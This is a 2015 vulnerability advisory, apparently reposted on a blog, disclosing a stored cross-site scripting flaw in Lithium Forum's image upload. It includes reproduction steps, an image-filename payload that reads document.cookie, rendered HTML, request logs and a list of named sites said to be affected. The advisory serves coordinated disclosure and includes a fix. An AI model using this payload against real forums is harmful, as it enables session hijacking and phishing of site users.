===============
Lithium Forum - (previewImages) Persistent Vulnerability
References (Source):
====================
http://www.vulnerability-lab.
Release Date:
=============
2015-12-18
Vulnerability Laboratory ID (VL-ID):
==============================
1521
Common Vulnerability Scoring System:
==============================
4.6
Product & Service Introduction:
==============================
Lithium Technologies provides social customer experience management software for the enterprise. Headquartered in San Francisco,
Lithium has additional offices in London, Austin, Paris, Sydney, Singapore, New York, and Zürich. Lithium was founded in 2001 as
a spin-out from GX Media, which created technologies for professional rankings and tournaments and now hosts a number of popular
gaming sites. The company`s founders include brothers Lyle Fong and Dennis Fong, who together also founded GX Media, as well as
Kirk Yokomizo, John Joh, Nader Alizadeh, Michel Thouati, Michael Yang, and Matt Ayres. The company sells largely to enterprise
customers, including HP, Best Buy, Research In Motion, Sony, Comcast, Symantec, and AT&T.
(Copy of the Vendor Homepage: https://en.wikipedia.org/wiki/
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered an application-side input validation web vulnerability in the official Lithium Forum online service web-application.
Vulnerability Disclosure Timeline:
==============================
2015-06-13: Researcher Notification & Coordination (Hadji Samir - Evolution Security GmbH)
2015-06-15: Vendor Notification (Security Team)
2015-09-30: Vendor Response/Feedback (Security Team)
2015-11-12: Vendor Fix/Patch (Developer Team)
2015-12-18: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Lithium Technologies
Product: Lithium Forum - Web Application (API) 2015 Q2
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
==============================
An application-side input validation web vulnerability has been discovered in the official Lithium Forum online service web-application.
The vulnerability allows remote attacker to inject own malicious script codes to the application-side of the vulnerable module/function.
The vulnerability is located at the previewImages value of the file upload module. Remote attackers are able to inject malicious script codes
to the file upload module POST method request to compromise the `Community > Albums (unmoderated%3Amedia)` module. The attack vector of the
vulnerability is located on the application-side of the service and the request method to inject is POST. The execution point is the vulnerable
Albums listing service. Due to the testings and research we figured out that several high class vendors using the commercial lithium web-application
like ebay, vodafone, paypal, microsoft, skype and sony.
The security risk of the application-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.7.
Exploitation of the persistent web vulnerability requires a low privilege web application user account and low user interaction (click or forward).
Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external redirects, persistent load of
malicious script codes or persistent web module context manipulation.
Affected Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Lithium Forum - Community > File Upload (Image)
Vulnerable Parameter(s):
[+] previewImages
Affected Service(s):
[+] Lithium Forum - Community > Albums (unmoderated%3Amedia)
Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote attackers with low privileged web-application user account and low user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Register an lithium forum account and login to the web-application
2. Open link /t5/media/gallerypage
3. click add images
4. Upload image with name "><img src="x" onerror=alert(document.cookie)
5. Click select an album and save
6. The first execution of the payload occurs in the comment delete function the second execution occurs in the album to authorize listing
7. Successful reproduce of the vulnerability!
PoC: Delete Comment - Lithium Forums
<div class="MessageSubject">
<a class="lia-image-preview-data-
href="/t5/media/gallerypage/
<img src="x" onerror=alert(document.cookie)
<h2 class="message-subject">
<a class="lia-link-navigation" id="link_4" href="/t5/media/gallerypage/
Re: "><img src="x" onerror=alert(document.cookie)
</h2>
</div>
PoC: Album Title - Lithium Forums
<div class="lia-panel-content">
<div class="MessageList lia-component-forums-widget-
<a name="message-list"> </a>
<div class="t-data-grid single-message-list">
<table class="lia-list-wide">
<thead id="columns"><tr><th scope="col" class="
<th scope="col" class="messageSubjectColumn lia-data-cell-primary lia-data-cell-text">
Betreff
</th>
<th scope="col" class="messagePostDateColumn lia-data-cell-secondary lia-data-cell-date">
Gesendet</th><th scope="col" class="
<tr class="lia-list-row lia-row-odd lia-js-data-messageUid-4006000 lia-js-data-messageRevision-1 lia-list-row-thread-unread t-first t-last">
<td class="
<img id="imagedisplay" src="http://skypec.i.lithium.
<td class="messageSubjectColumn lia-data-cell-primary lia-data-cell-text">
<div class="MessageSubjectCell"><
<a class="lia-image-preview-data-
id="link_12" href="/t5/media/gallerypage/
<img title="[PERSISTENT INJECTED SCRIPT CODE VULNERABILITY!]"><img src="x" onerror=alert(document.cookie)
alt=""><img src="x" onerror=alert(document.cookie)
id="display" src="/t5/image/serverpage/
? <h2 class="message-subject">
<a class="lia-link-navigation lia-panel-dialog-trigger lia-panel-dialog-trigger-
id="link_13" href="/t5/media/gallerypage/
Betreff: "><img src="x" onerror=alert(document.cookie)
</h2></div></div></td>
<td class="messagePostDateColumn lia-data-cell-secondary lia-data-cell-date">
<span class="DateTime">
<span title="?12-06-2015 15:31" class="local-friendly-date">
vor 57 Sekunden
</span></span>
</td><td class="
<div class="lia-button-group-left">
<span class="lia-button-wrapper lia-button-wrapper-secondary lia-component-forums-action-
<a class="lia-button lia-button-secondary edit-message" id="editMessage" href="/t5/forums/editpage/
</div></td></tr>
</tbody></table> </div></div>
<div class="lia-menu-bar lia-menu-bar-bottom bottom-block">
<div class="lia-decoration-border-
<div class="lia-decoration-border-
<div> </div></div>
<div class="lia-decoration-border-
<div>
<div class="lia-menu-bar-buttons">
</div> </div></div>
<div class="lia-decoration-border-
<div> </div> </div>
</div>
</div></div>
--- PoC Session Logs [POST] ---
14:45:03.620[1031ms][total 1031ms]
Status: 200[OK]
POST http://community.[WEBSITE].
Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ] Content Size[-1] Mime Type[application/json]
Request Headers:
Host[community.[WEBSITE].com]
User-Agent[Mozilla/5.0 (X11; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0]
Accept[application/json, text/javascript, */*; q=0.01]
Accept-Language[en-US,en;q=0.
Accept-Encoding[gzip, deflate]
Content-Type[application/x-
Cache-Control[no-cache]
Lithium-Ajax-Request[true]
X-Requested-With[
Referer[http://community.[
Content-Length[3326]
Cookie[s_pers=%20s_fid%
2A928C6305013CDB-
__CT_Data=gpv=8&apv_22_www11=
kBIyCSC2n6uJH5bMCMpaubUmaYGYbE
s_sq=%5B%5BB%5D%5D; s_sv_sid=346493096323; frmrgtpe=1-4; s_sess=%20s_cc%3Dtrue%3B%20s_
3C4FBDB481E7BEE1; gpv_p23=support%2Fforum%2Ft5%
X-Forwarded-For[8.8.8.8]
Connection[keep-alive]
Pragma[no-cache]
Post Data:
submitContext[true]
liaFormContentKey[
t%3Aformdata[7IILDleLbu0mW2%
%
%
MYXY9lXweXtW6VJDRNRluIGOVC%
%2FUUGbnL%
%
%2FLcNWO8IziJLpdhk%
lia-action-token[
form_UID[form_0]
form_instance_key[]
previewImages[%5B%7B%22id%22%
radioGroup[existing]
album[AlbumByUidRef%5Buid%
submitContextX[Submit]
eventListeners[%5B%5D]
parameterOverrides[%7B%7D]
triggerEvent[submit]
eventTargetId[form_0]
renderedScripts[AC_
%2Cjquery.appear-1.1.1.js%
%2CInputEditForm.js%
%2CTooltip.js%
%2Cjquery.tools.tooltip-1.2.5.
%2CLiModernizr.js%2Cjquery.
%2Cjquery.ui.draggable.js%
Response Headers:
Date[Fri, 12 Jun 2015 13:46:53 GMT]
Server[Apache]
Set-Cookie[LithiumVisitor=~
X-Robots-Tag[noindex, nofollow]
Vary[Accept-Encoding]
Content-Encoding[gzip]
Connection[close]
Transfer-Encoding[chunked]
Content-Type[application/json;
Reference(s):
http://community.[WEBSITE].
http://community.[WEBSITE].
http://community.[WEBSITE].
http://community.[WEBSITE].
http://community.[WEBSITE].
http://community.[WEBSITE].
%
%
14+13%3A29%3A17&partner_id=
http://community.[WEBSITE].
http://community.[WEBSITE].
Vulnerable Site(s):
http://www.amazon.de/
https://www.paypal-community.
http://community.ebay.com/t5/
https://www.en.adwords-
http://forums.verizon.com/t5/
https://forums.att.com/t5/
http://community.[WEBSITE].
https://community.linksys.com/
http://community.eu.
http://forums.xfinity.com/t5/
http://communaute.orange.fr/
https://discussions.apple.com/
http://h30434.www3.hp.com/t5/
https://supportforums.
http://talk.hbo.com/t5/media/
http://community.f-secure.com/
https://talk.sonymobile.com/
https://forums.lenovo.com/t5/
http://forums.juniper.net/t5/
http://my.teslamotors.com/
http://www.wallstreet-online.
https://telekomhilft.telekom.
http://www.banktech.com/
http://community.saturn.nl/t5/
https://community.o2.co.uk/t5/
https://community.spotify.com/
http://talk.sonymobile.com/t5/
http://community.us.
https://forum.vodafone.co.uk/
http://community.usa.canon.
https://forum.sfr.fr/t5/media/
http://forum.kpn.com/t5/media/
http://comunidad.orange.es/t5/
https://forums.cat.com/t5/
Solution - Fix & Patch:
=======================
Parse and encode the title name of the albums and files to prevent persistent script code execution through the api.
Restrict the input and disallow usage of special chars as album name value.
Security Risk:
==============
The security risk of the persistent input validation web vulnerability in the album value is estimated as medium. (CVSS 4.6)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] – Hadji Samir (samir@evolution-sec.com) [http://www.vulnerability-lab.
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com -www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab -youtube.com/user/
Feeds: vulnerability-lab.com/rss/rss.
Programs: vulnerability-lab.com/submit.
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com
Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™
Komentarų nėra:
Rašyti komentarą